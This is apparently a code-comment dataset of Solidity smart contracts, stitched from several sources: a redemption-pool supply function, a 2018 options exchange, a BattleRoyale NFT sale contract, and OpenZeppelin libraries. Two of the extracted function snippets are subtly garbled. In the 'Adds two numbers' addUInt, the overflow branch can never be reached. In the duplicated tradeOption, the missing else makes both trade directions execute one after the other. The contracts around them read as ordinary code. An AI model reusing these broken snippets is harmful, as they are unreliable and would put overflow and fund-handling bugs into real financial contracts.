debt. * * @dev Emits a {SupplyUnderlying} event. * * Requirements: * * - Must be called prior to maturation. * - The amount to supply cannot be zero. * - The Fintroller must allow this action to be performed. * - The caller must have allowed this contract to spend `underlyingAmount` tokens. * * @param underlyingAmount The amount of underlying to supply to the Redemption Pool. * @return true = success, otherwise it reverts. */ function supplyUnderlying(uint256 underlyingAmount) external override nonReentrant returns (bool) { SupplyUnderlyingLocalVars memory vars; /* Checks: maturation time. */ require(block.timestamp < fyToken.expirationTime(), "ERR_BOND_MATURED"); /* Checks: the zero edge case. */ require(underlyingAmount > 0, "ERR_SUPPLY_UNDERLYING_ZERO"); /* Checks: the Fintroller allows this action to be performed. */ require(fintroller.getSupplyUnderlyingAllowed(fyToken), "ERR_SUPPLY_UNDERLYING_NOT_ALLOWED"); /* Effects: update storage. */ (vars.mathErr, vars.newUnderlyingTotalSupply) = addUInt(totalUnderlyingSupply, underlyingAmount); require(vars.mathErr == MathError.NO_ERROR, "ERR_SUPPLY_UNDERLYING_MATH_ERROR"); totalUnderlyingSupply = vars.newUnderlyingTotalSupply; /** * fyTokens always have 18 decimals so the underlying amount needs to be upscaled. * If the precision scalar is 1, it means that the underlying also has 18 decimals. */ vars.underlyingPrecisionScalar = fyToken.underlyingPrecisionScalar(); if (vars.underlyingPrecisionScalar != 1) { (vars.mathErr, vars.fyTokenAmount) = mulUInt(underlyingAmount, vars.underlyingPrecisionScalar); require(vars.mathErr == MathError.NO_ERROR, "ERR_SUPPLY_UNDERLYING_MATH_ERROR"); } else { vars.fyTokenAmount = underlyingAmount; } /* Interactions: mint the fyTokens. */ require(fyToken.mint(msg.sender, vars.fyTokenAmount), "ERR_SUPPLY_UNDERLYING_CALL_MINT"); /* Interactions: perform the Erc20 transfer. */ fyToken.underlying().safeTransferFrom(msg.sender, address(this), underlyingAmount); emit SupplyUnderlying(msg.sender, underlyingAmount, vars.fyTokenAmount); return true; } }
Adds two numbers, returns an error on overflow./
function addUInt(uint256 a, uint256 b) internal pure returns (MathError, uint256) { uint256 c = a + b; if (c >= a) { return (MathError.NO_ERROR, c); return (MathError.INTEGER_OVERFLOW, 0); } }
7,330,917
//Address: 0x91923a5fe80e1246aa137e8bcc0ec94d42432ab0 //Contract name: OptionsExchange //Balance: 0 Ether //Verification Date: 3/1/2018 //Transacion Count: 1 // CODE STARTS HERE pragma solidity ^0.4.20; /* Options Exchange ======================== An Exchange for American Options, which are also reversible until the deadline (Maturation). An American Option is a contract between its Buyer and its Seller, giving the Buyer the ability to buy (or sell) an Asset at a specified Strike Price any time before a specified time (Maturation). Authors: /u/Cintix and /u/Hdizzle83 */ library SafeMath { function mul(uint256 a, uint256 b) pure internal returns (uint256) { uint256 c = a * b; assert((a == 0) || (c / a == b)); return c; } function div(uint256 a, uint256 b) pure internal returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) pure internal returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) pure internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // ERC20 Interface: https://github.com/ethereum/EIPs/issues/20 contract Token { function transferFrom(address from, address to, uint256 value) public returns (bool success) {} function transfer(address to, uint256 value) public returns (bool success) {} } contract OptionsExchange { using SafeMath for uint256; // Admin takes a 1% cut of each purchased Option's Premium, stored as a ratio with 1 ether as the denominator. uint256 public fee_ratio = 10 ** 16; // Admin is initialized to the contract creator. address public admin = msg.sender; // User balances are stored as userBalance[user][token], where ETH is stored as token address 0. mapping (address => mapping(address => uint256)) public userBalance; // An Option is a bet between two users on the relative price of two tokens on a given date. // The Seller locks some amount of token A (Asset) in the Option in exchange for payment (the Premium) from the Buyer. // The Buyer is then free to trade between token A and token B (Base) at the given exchange rate (the Strike Price). // At the closing date (Maturation), the Option's funds are sent back to the Seller. // To reduce onchain storage, Options are indexed by a hash of their parameters, optionHash. // Address of the Option's Taker, the user who filled the order for the Option. // Doubles as an indicator for whether a given Option is active. mapping (bytes32 => address) public optionTaker; // Boolean indicating whether an offchain Option order has been cancelled. mapping (bytes32 => bool) public optionOrderCancelled; // Option balances are stored as optionBalance[optionHash][token], where ETH is stored as token address 0. mapping (bytes32 => mapping(address => uint256)) public optionBalance; // Possible states an Option (or its offchain order) can be in. enum optionStates { Invalid, // Option parameters are invalid. Available, // Option hasn't been created or filled yet. Cancelled, // Option's offchain order has been cancelled by the Maker. Expired, // Option's offchain order has passed its Expiration time. Tradeable, // Option can be traded by its Buyer until its Maturation time. Matured, // Option has passed its Maturation time and is ready to be closed. Closed // Option has been closed by its Seller, withdrawing all its funds. } // Events emitted by the contract for use in tracking exchange activity. // For Deposits and Withdrawals, ETH balances are stored as a token with address 0. event Deposit(address indexed user, address indexed token, uint256 amount); event Withdrawal(address indexed user, address indexed token, uint256 amount); event OrderFilled(bytes32 indexed optionHash); event OrderCancelled(bytes32 indexed optionHash); event OptionTraded(bytes32 indexed optionHash, uint256 amountToOption, bool tradingTokenAToOption); event OptionClosed(bytes32 indexed optionHash); // Allow the admin to transfer ownership. function changeAdmin(address _admin) external { require(msg.sender == admin); admin = _admin; } // Users must first deposit ETH into the Exchange in order to purchase Options. // ETH balances are stored as a token with address 0. function depositETH() external payable { userBalance[msg.sender][0] = userBalance[msg.sender][0].add(msg.value); Deposit(msg.sender, 0, msg.value); } // Users can withdraw any amount of ETH up to their current balance. function withdrawETH(uint256 amount) external { require(userBalance[msg.sender][0] >= amount); userBalance[msg.sender][0] = userBalance[msg.sender][0].sub(amount); msg.sender.transfer(amount); Withdrawal(msg.sender, 0, amount); } // To deposit tokens, users must first "approve" the transfer in the token contract. // Users must first deposit tokens into the Exchange in order to create or trade with Options. function depositToken(address token, uint256 amount) external { require(Token(token).transferFrom(msg.sender, this, amount)); userBalance[msg.sender][token] = userBalance[msg.sender][token].add(amount); Deposit(msg.sender, token, amount); } // Users can withdraw any amount of a given token up to their current balance. function withdrawToken(address token, uint256 amount) external { require(userBalance[msg.sender][token] >= amount); userBalance[msg.sender][token] = userBalance[msg.sender][token].sub(amount); require(Token(token).transfer(msg.sender, amount)); Withdrawal(msg.sender, token, amount); } // Transfer funds from one user's balance to another's. Not externally callable. function transferUserToUser(address from, address to, address token, uint256 amount) private { require(userBalance[from][token] >= amount); userBalance[from][token] = userBalance[from][token].sub(amount); userBalance[to][token] = userBalance[to][token].add(amount); } // Transfer funds from a user's balance into an Option. Not externally callable. function transferUserToOption(address from, bytes32 optionHash, address token, uint256 amount) private { require(userBalance[from][token] >= amount); userBalance[from][token] = userBalance[from][token].sub(amount); optionBalance[optionHash][token] = optionBalance[optionHash][token].add(amount); } // Transfer funds from an Option to a user's balance. Not externally callable. function transferOptionToUser(bytes32 optionHash, address to, address token, uint256 amount) private { require(optionBalance[optionHash][token] >= amount); optionBalance[optionHash][token] = optionBalance[optionHash][token].sub(amount); userBalance[to][token] = userBalance[to][token].add(amount); } // Hashes an Option's parameters for use in looking up information about the Option. Callable internally and externally. // Variables are grouped into arrays as a workaround for the "too many local variables" problem. // Instead of directly encoding the token exchange rate (Strike Price), it is instead implicitly // stored as limits on the number of each kind of token the Option can store. // Note that due to integer division during trading, Options may collect dust amounts over their limits. // The offchain order expiration time doubles as a nonce, allowing Makers to create otherwise identical Options. function getOptionHash(address[3] tokenA_tokenB_maker, uint256[3] limitTokenA_limitTokenB_premium, uint256[2] maturation_expiration, bool makerIsSeller, bool premiumIsTokenA) pure public returns(bytes32) { bytes32 optionHash = keccak256( tokenA_tokenB_maker[0], tokenA_tokenB_maker[1], tokenA_tokenB_maker[2], limitTokenA_limitTokenB_premium[0], limitTokenA_limitTokenB_premium[1], limitTokenA_limitTokenB_premium[2], maturation_expiration[0], maturation_expiration[1], makerIsSeller, premiumIsTokenA ); return optionHash; } // Computes the current state of an Option given its parameters. Callable internally and externally. function getOptionState(address[3] tokenA_tokenB_maker, uint256[3] limitTokenA_limitTokenB_premium, uint256[2] maturation_expiration, bool makerIsSeller, bool premiumIsTokenA) view public returns(optionStates) { // Tokens must be different for Option to be Valid. if(tokenA_tokenB_maker[0] == tokenA_tokenB_maker[1]) return optionStates.Invalid; // Options must have non-zero limits on their contained Tokens to be Valid. if((limitTokenA_limitTokenB_premium[0] == 0) || (limitTokenA_limitTokenB_premium[1] == 0)) return optionStates.Invalid; // Options must reach Maturity after the offchain order expires to be Valid. if(maturation_expiration[0] <= maturation_expiration[1]) return optionStates.Invalid; bytes32 optionHash = getOptionHash(tokenA_tokenB_maker, limitTokenA_limitTokenB_premium, maturation_expiration, makerIsSeller, premiumIsTokenA); // Check if the Option's offchain order was cancelled. if(optionOrderCancelled[optionHash]) return optionStates.Cancelled; // Check if the Option's offchain order hasn't been filled yet. if(optionTaker[optionHash] == 0) { // Check if the Option's offchain order has expired. if(now >= maturation_expiration[1]) return optionStates.Expired; // Otherwise, the Option's offchain order is still Available to be created or filled. return optionStates.Available; } // Check if the Option has been emptied of its funds, which means it was closed by its Seller. if((optionBalance[optionHash][tokenA_tokenB_maker[0]] == 0) && (optionBalance[optionHash][tokenA_tokenB_maker[1]] == 0)) return optionStates.Closed; // Check if the Option has passed its Maturation time. if(now >= maturation_expiration[0]) return optionStates.Matured; // Otherwise, the Option must still be active and tradeable by its Buyer. return optionStates.Tradeable; } // Determines whether the Seller is the Maker or the Taker for a given Option. Not externally callable. function getSeller(address maker, address taker, bool makerIsSeller) pure private returns(address) { // Ternary operator to assign the Seller's address: (<conditional> ? <if-true> : <if-false>) address seller = makerIsSeller ? maker : taker; return seller; } // Determines whether the Buyer is the Maker or the Taker for a given Option. Not externally callable. function getBuyer(address maker, address taker, bool makerIsSeller) pure private returns(address) { // Ternary operator to assign the Buyer's address: (<conditional> ? <if-true> : <if-false>) address buyer = makerIsSeller ? taker : maker; return buyer; } // Transfer payment from an Option's Buyer to the Seller less the 1% fee sent to the admin. Not externally callable. function payForOption(address buyer, address seller, uint256 premium, address TokenA, address TokenB, bool premiumIsTokenA) private { uint256 fee = (premium.mul(fee_ratio)).div(1 ether); // Ternary operator to assign the Token used for the Premium: (<conditional> ? <if-true> : <if-false>) address premiumToken = premiumIsTokenA ? TokenA : TokenB; transferUserToUser(buyer, seller, premiumToken, premium.sub(fee)); transferUserToUser(buyer, admin, premiumToken, fee); } // Allows a Taker to fill an offchain order for an Option created by a Maker. function fillOptionOrder(address[3] tokenA_tokenB_maker, uint256[3] limitTokenA_limitTokenB_premium, uint256[2] maturation_expiration, bool makerIsSeller, bool premiumIsTokenA, uint8 v, bytes32[2] r_s) external { // Option must be Available, which means it is valid, unexpired, unfilled, and uncancelled. require(getOptionState(tokenA_tokenB_maker, limitTokenA_limitTokenB_premium, maturation_expiration, makerIsSeller, premiumIsTokenA) == optionStates.Available); bytes32 optionHash = getOptionHash(tokenA_tokenB_maker, limitTokenA_limitTokenB_premium, maturation_expiration, makerIsSeller, premiumIsTokenA); // Verify the Maker's offchain order is valid by checking whether it was signed by the Maker. require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", optionHash), v, r_s[0], r_s[1]) == tokenA_tokenB_maker[2]); address seller = getSeller(tokenA_tokenB_maker[2], msg.sender, makerIsSeller); address buyer = getBuyer(tokenA_tokenB_maker[2], msg.sender, makerIsSeller); // Pay the premium for the Option in units of either TokenA or TokenB, depending on the boolean premiumIsTokenA. payForOption(buyer, seller, limitTokenA_limitTokenB_premium[2], tokenA_tokenB_maker[0], tokenA_tokenB_maker[1], premiumIsTokenA); // Transfer the amount of Token A specified in the order from the Seller to the Option. transferUserToOption(seller, optionHash, tokenA_tokenB_maker[0], limitTokenA_limitTokenB_premium[0]); // Set the order filler as the Option's Taker, marking the Option as active. optionTaker[optionHash] = msg.sender; OrderFilled(optionHash); } // Allows a Maker to cancel their offchain Option order early (i.e. before its expiration). function cancelOptionOrder(address[3] tokenA_tokenB_maker, uint256[3] limitTokenA_limitTokenB_premium, uint256[2] maturation_expiration, bool makerIsSeller, bool premiumIsTokenA) external { // Option must be Available, which means it is valid, unexpired, unfilled, and uncancelled. require(getOptionState(tokenA_tokenB_maker, limitTokenA_limitTokenB_premium, maturation_expiration, makerIsSeller, premiumIsTokenA) == optionStates.Available); // Only allow the Maker to cancel their own offchain Option order. require(msg.sender == tokenA_tokenB_maker[2]); bytes32 optionHash = getOptionHash(tokenA_tokenB_maker, limitTokenA_limitTokenB_premium, maturation_expiration, makerIsSeller, premiumIsTokenA); // Mark the offchain Option order as cancelled onchain. optionOrderCancelled[optionHash] = true; OrderCancelled(optionHash); } // Handler for trading tokens into and out of the Option at the given Strike Price. Not externally callable. function tradeOptionHelper(address buyer, bytes32 optionHash, address tokenToOption, address tokenFromOption, uint256 limitToOption, uint256 limitFromOption, uint256 amountToOption) private { transferUserToOption(buyer, optionHash, tokenToOption, amountToOption); // Strike Price is calculated as the ratio of the maximum amounts of each Token the Option can hold. uint256 amountFromOption = (amountToOption.mul(limitFromOption)).div(limitToOption); transferOptionToUser(optionHash, buyer, tokenFromOption, amountFromOption); } // Allow an Option's Buyer to trade tokens into and out of the Option at the Strike Price until the Option's Maturation. // The boolean tradingTokenAToOption is True when Token A is being traded to the Option, and False when Token B is. // Trade limits aren't explicitly checked, but are enforced by Option balances not being drainable below zero. // Note that due to integer division during trading, Options may collect dust amounts over their limits. function tradeOption(address[3] tokenA_tokenB_maker, uint256[3] limitTokenA_limitTokenB_premium, uint256[2] maturation_expiration, bool makerIsSeller, bool premiumIsTokenA, uint256 amountToOption, bool tradingTokenAToOption) external { // Option must be Tradeable, which means it's been filled and hasn't passed its trading deadline (Maturation). require(getOptionState(tokenA_tokenB_maker, limitTokenA_limitTokenB_premium, maturation_expiration, makerIsSeller, premiumIsTokenA) == optionStates.Tradeable); bytes32 optionHash = getOptionHash(tokenA_tokenB_maker, limitTokenA_limitTokenB_premium, maturation_expiration, makerIsSeller, premiumIsTokenA); address buyer = getBuyer(tokenA_tokenB_maker[2], optionTaker[optionHash], makerIsSeller); // Only allow the Buyer to trade with the Option. require(msg.sender == buyer); if(tradingTokenAToOption) { tradeOptionHelper(buyer, optionHash, tokenA_tokenB_maker[0], tokenA_tokenB_maker[1], limitTokenA_limitTokenB_premium[0], limitTokenA_limitTokenB_premium[1], amountToOption); } else { tradeOptionHelper(buyer, optionHash, tokenA_tokenB_maker[1], tokenA_tokenB_maker[0], limitTokenA_limitTokenB_premium[1], limitTokenA_limitTokenB_premium[0], amountToOption); } OptionTraded(optionHash, amountToOption, tradingTokenAToOption); } // Allows an Option's Seller to withdraw their funds after the Option's Maturation. function closeOption(address[3] tokenA_tokenB_maker, uint256[3] limitTokenA_limitTokenB_premium, uint256[2] maturation_expiration, bool makerIsSeller, bool premiumIsTokenA) external { // Option must have Matured, which means it's filled, has passed its Maturation time, and is unclosed. require(getOptionState(tokenA_tokenB_maker, limitTokenA_limitTokenB_premium, maturation_expiration, makerIsSeller, premiumIsTokenA) == optionStates.Matured); bytes32 optionHash = getOptionHash(tokenA_tokenB_maker, limitTokenA_limitTokenB_premium, maturation_expiration, makerIsSeller, premiumIsTokenA); address seller = getSeller(tokenA_tokenB_maker[2], optionTaker[optionHash], makerIsSeller); // Only allow the Seller to close their own Option. require(msg.sender == seller); // Transfer the Option's entire balance of each token back to the Seller, closing the Option. transferOptionToUser(optionHash, seller, tokenA_tokenB_maker[0], optionBalance[optionHash][tokenA_tokenB_maker[0]]); transferOptionToUser(optionHash, seller, tokenA_tokenB_maker[1], optionBalance[optionHash][tokenA_tokenB_maker[1]]); OptionClosed(optionHash); } function() payable external { revert(); } }
Allow an Option's Buyer to trade tokens into and out of the Option at the Strike Price until the Option's Maturation. The boolean tradingTokenAToOption is True when Token A is being traded to the Option, and False when Token B is. Trade limits aren't explicitly checked, but are enforced by Option balances not being drainable below zero. Note that due to integer division during trading, Options may collect dust amounts over their limits. Option must be Tradeable, which means it's been filled and hasn't passed its trading deadline (Maturation). Only allow the Buyer to trade with the Option.
function tradeOption(address[3] tokenA_tokenB_maker, uint256[3] limitTokenA_limitTokenB_premium, uint256[2] maturation_expiration, bool makerIsSeller, bool premiumIsTokenA, uint256 amountToOption, bool tradingTokenAToOption) external { require(getOptionState(tokenA_tokenB_maker, limitTokenA_limitTokenB_premium, maturation_expiration, makerIsSeller, premiumIsTokenA) == optionStates.Tradeable); bytes32 optionHash = getOptionHash(tokenA_tokenB_maker, limitTokenA_limitTokenB_premium, maturation_expiration, makerIsSeller, premiumIsTokenA); address buyer = getBuyer(tokenA_tokenB_maker[2], optionTaker[optionHash], makerIsSeller); require(msg.sender == buyer); if(tradingTokenAToOption) { tradeOptionHelper(buyer, optionHash, tokenA_tokenB_maker[0], tokenA_tokenB_maker[1], limitTokenA_limitTokenB_premium[0], limitTokenA_limitTokenB_premium[1], amountToOption); tradeOptionHelper(buyer, optionHash, tokenA_tokenB_maker[1], tokenA_tokenB_maker[0], limitTokenA_limitTokenB_premium[1], limitTokenA_limitTokenB_premium[0], amountToOption); } OptionTraded(optionHash, amountToOption, tradingTokenAToOption); }
1,008,273
// SPDX-License-Identifier: MIT pragma solidity ^0.8.6; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "hardhat/console.sol"; contract BattleRoyale is ERC721URIStorage, Ownable { using SafeERC20 for IERC20; using Strings for uint256; /// @notice Event emitted when contract is deployed. event BattleRoyaleDeployed(); /// @notice Event emitted when owner withdrew the ETH. event EthWithdrew(address receiver); /// @notice Event emitted when owner withdrew the ERC20 token. event ERC20TokenWithdrew(address receiver); /// @notice Event emitted when user purchased the tokens. event Purchased(address user, uint256 amount, uint256 totalSupply); /// @notice Event emitted when owner has set starting time. event StartingTimeSet(uint256 time); /// @notice Event emitted when battle has started. event BattleStarted(address battleAddress, uint32[] inPlay); /// @notice Event emitted when battle has ended. event BattleEnded(address battleAddress, uint256 winnerTokenId, string prizeTokenURI); /// @notice Event emitted when base token uri set. event BaseURISet(string baseURI); /// @notice Event emitted when default token uri set. event DefaultTokenURISet(string defaultTokenURI); /// @notice Event emitted when prize token uri set. event PrizeTokenURISet(string prizeTokenURI); /// @notice Event emitted when interval time set. event IntervalTimeSet(uint256 intervalTime); /// @notice Event emitted when token price set. event PriceSet(uint256 price); /// @notice Event emitted when the units per transaction set. event UnitsPerTransactionSet(uint256 unitsPerTransaction); /// @notice Event emitted when max supply set. event MaxSupplySet(uint256 maxSupply); enum BATTLE_STATE { STANDBY, RUNNING, ENDED } BATTLE_STATE public battleState; string public prizeTokenURI; string public defaultTokenURI; string public baseURI; uint256 public price; uint256 public maxSupply; uint256 public totalSupply; uint256 public unitsPerTransaction; uint256 public startingTime; uint32[] public inPlay; /** * @dev Constructor function * @param _name Token name * @param _symbol Token symbol * @param _price Token price * @param _unitsPerTransaction Purchasable token amounts per transaction * @param _maxSupply Maximum number of mintable tokens * @param _defaultTokenURI Deafult token uri * @param _prizeTokenURI Prize token uri * @param _baseURI Base token uri * @param _startingTime Start time to purchase NFT */ constructor( string memory _name, string memory _symbol, uint256 _price, uint256 _unitsPerTransaction, uint256 _maxSupply, string memory _defaultTokenURI, string memory _prizeTokenURI, string memory _baseURI, uint256 _startingTime ) ERC721(_name, _symbol) { battleState = BATTLE_STATE.STANDBY; price = _price; unitsPerTransaction = _unitsPerTransaction; maxSupply = _maxSupply; defaultTokenURI = _defaultTokenURI; prizeTokenURI = _prizeTokenURI; baseURI = _baseURI; startingTime = _startingTime; emit BattleRoyaleDeployed(); } /** * @dev External function to purchase tokens. * @param _amount Token amount to buy */ function purchase(uint256 _amount) external payable { require(price > 0, "BattleRoyale: Token price is zero"); require( battleState == BATTLE_STATE.STANDBY, "BattleRoyale: Current battle state is not ready to purchase tokens" ); require( maxSupply > 0 && totalSupply < maxSupply, "BattleRoyale: The NFTs you attempted to purchase is now sold out" ); require(block.timestamp >= startingTime, "BattleRoyale: Not time to purchase"); if (msg.sender != owner()) { require( _amount <= maxSupply - totalSupply && _amount > 0 && _amount <= unitsPerTransaction, "BattleRoyale: Out range of token amount" ); require(bytes(defaultTokenURI).length > 0, "BattleRoyale: Default token URI is not set"); require( msg.value >= (price * _amount), "BattleRoyale: Caller hasn't got enough ETH for buying tokens" ); } for (uint256 i = 0; i < _amount; i++) { uint256 tokenId = totalSupply + i + 1; _safeMint(msg.sender, tokenId); string memory tokenURI = string(abi.encodePacked(baseURI, defaultTokenURI)); _setTokenURI(tokenId, tokenURI); inPlay.push(uint32(tokenId)); } totalSupply += _amount; emit Purchased(msg.sender, _amount, totalSupply); } /** * @dev External function to set starting time. This function can be called only by owner. */ function setStartingTime(uint256 _newTime) external onlyOwner { startingTime = _newTime; emit StartingTimeSet(_newTime); } /** * @dev External function to start the battle. This function can be called only by owner. */ function startBattle() external onlyOwner { require( bytes(prizeTokenURI).length > 0 && inPlay.length > 1, "BattleRoyale: Tokens in game are not enough to play" ); battleState = BATTLE_STATE.RUNNING; emit BattleStarted(address(this), inPlay); } /** * @dev External function to end the battle. This function can be called only by owner. * @param _winnerTokenId Winner token Id in battle */ function endBattle(uint256 _winnerTokenId) external onlyOwner { require(battleState == BATTLE_STATE.RUNNING, "BattleRoyale: Battle is not started"); battleState = BATTLE_STATE.ENDED; uint256 tokenId = totalSupply + 1; address winnerAddress = ownerOf(_winnerTokenId); _safeMint(winnerAddress, tokenId); string memory tokenURI = string(abi.encodePacked(baseURI, prizeTokenURI)); _setTokenURI(tokenId, tokenURI); emit BattleEnded(address(this), tokenId, prizeTokenURI); } /** * @dev External function to set the base token URI. This function can be called only by owner. * @param _tokenURI New base token uri */ function setBaseURI(string memory _tokenURI) external onlyOwner { baseURI = _tokenURI; emit BaseURISet(baseURI); } /** * @dev External function to set the default token URI. This function can be called only by owner. * @param _tokenURI New default token uri */ function setDefaultTokenURI(string memory _tokenURI) external onlyOwner { defaultTokenURI = _tokenURI; emit DefaultTokenURISet(defaultTokenURI); } /** * @dev External function to set the prize token URI. This function can be called only by owner. * @param _tokenURI New prize token uri */ function setPrizeTokenURI(string memory _tokenURI) external onlyOwner { prizeTokenURI = _tokenURI; emit PrizeTokenURISet(prizeTokenURI); } /** * @dev External function to set the token price. This function can be called only by owner. * @param _price New token price */ function setPrice(uint256 _price) external onlyOwner { price = _price; emit PriceSet(price); } /** * @dev External function to set the limit of buyable token amounts. This function can be called only by owner. * @param _unitsPerTransaction New purchasable token amounts per transaction */ function setUnitsPerTransaction(uint256 _unitsPerTransaction) external onlyOwner { unitsPerTransaction = _unitsPerTransaction; emit UnitsPerTransactionSet(unitsPerTransaction); } /** * @dev External function to set max supply. This function can be called only by owner. * @param _maxSupply New maximum token amounts */ function setMaxSupply(uint256 _maxSupply) external onlyOwner { maxSupply = _maxSupply; emit MaxSupplySet(maxSupply); } /** * Fallback function to receive ETH */ receive() external payable {} /** * @dev External function to withdraw ETH in contract. This function can be called only by owner. * @param _amount ETH amount */ function withdrawETH(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(_amount <= balance, "BattleRoyale: Out of balance"); payable(msg.sender).transfer(_amount); emit EthWithdrew(msg.sender); } /** * @dev External function to withdraw ERC-20 tokens in contract. This function can be called only by owner. * @param _tokenAddr Address of ERC-20 token * @param _amount ERC-20 token amount */ function withdrawERC20Token(address _tokenAddr, uint256 _amount) external onlyOwner { IERC20 token = IERC20(_tokenAddr); uint256 balance = token.balanceOf(address(this)); require(_amount <= balance, "BattleRoyale: Out of balance"); token.safeTransfer(msg.sender, _amount); emit ERC20TokenWithdrew(msg.sender); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721URIStorage.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 